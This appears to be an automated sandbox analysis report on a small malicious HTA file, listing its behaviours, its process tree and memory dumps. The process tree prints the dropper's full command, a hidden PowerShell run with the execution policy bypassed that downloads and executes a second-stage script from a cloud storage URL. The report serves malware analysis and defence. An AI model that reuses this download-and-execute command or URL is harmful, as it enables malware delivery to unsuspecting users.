Analysis
- max time kernel
40s - max time network
31s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
02/07/2026, 10:33
General
- Target caab25526b3bef220dc192bd74fa775eb76aa9d52b4f1aebd2b6394d62100bc7.hta
- Size 438B
- Sample260702-mljpbaev3p
- SHA256 caab25526b3bef220dc192bd74fa775eb76aa9d52b4f1aebd2b6394d62100bc7
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://vibrbucket.s3.eu-west-3.amazonaws.com/pdf%20file/stage2.ps1
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\caab25526b3bef220dc192bd74fa775eb76aa9d52b4f1aebd2b6394d62100bc7.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "iex((New-Object Net.WebClient).DownloadString('https://vibrbucket.s3.eu-west-3.amazonaws.com/pdf%20file/stage2.ps1'))"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/6088-0-0x00000000710D2000-0x00000000710D3000-memory.dmp
memory/6088-1-0x0000000002690000-0x00000000026C6000-memory.dmp
memory/6088-2-0x00000000710C0000-0x000000007187C000-memory.dmp
memory/6088-3-0x0000000005240000-0x000000000588A000-memory.dmp
memory/6088-4-0x00000000710C0000-0x000000007187C000-memory.dmp
memory/6088-5-0x0000000005110000-0x0000000005132000-memory.dmp
memory/6088-7-0x0000000005890000-0x00000000058F6000-memory.dmp
memory/6088-6-0x00000000051B0000-0x0000000005216000-memory.dmp
memory/6088-10-0x00000000059C0000-0x0000000005D1B000-memory.dmp
memory/6088-11-0x0000000005ED0000-0x0000000005EEE000-memory.dmp
memory/6088-12-0x0000000005F20000-0x0000000005F6C000-memory.dmp
memory/6088-13-0x0000000007560000-0x0000000007BDC000-memory.dmp
memory/6088-14-0x00000000063F0000-0x000000000640A000-memory.dmp
memory/6088-16-0x00000000710C0000-0x000000007187C000-memory.dmp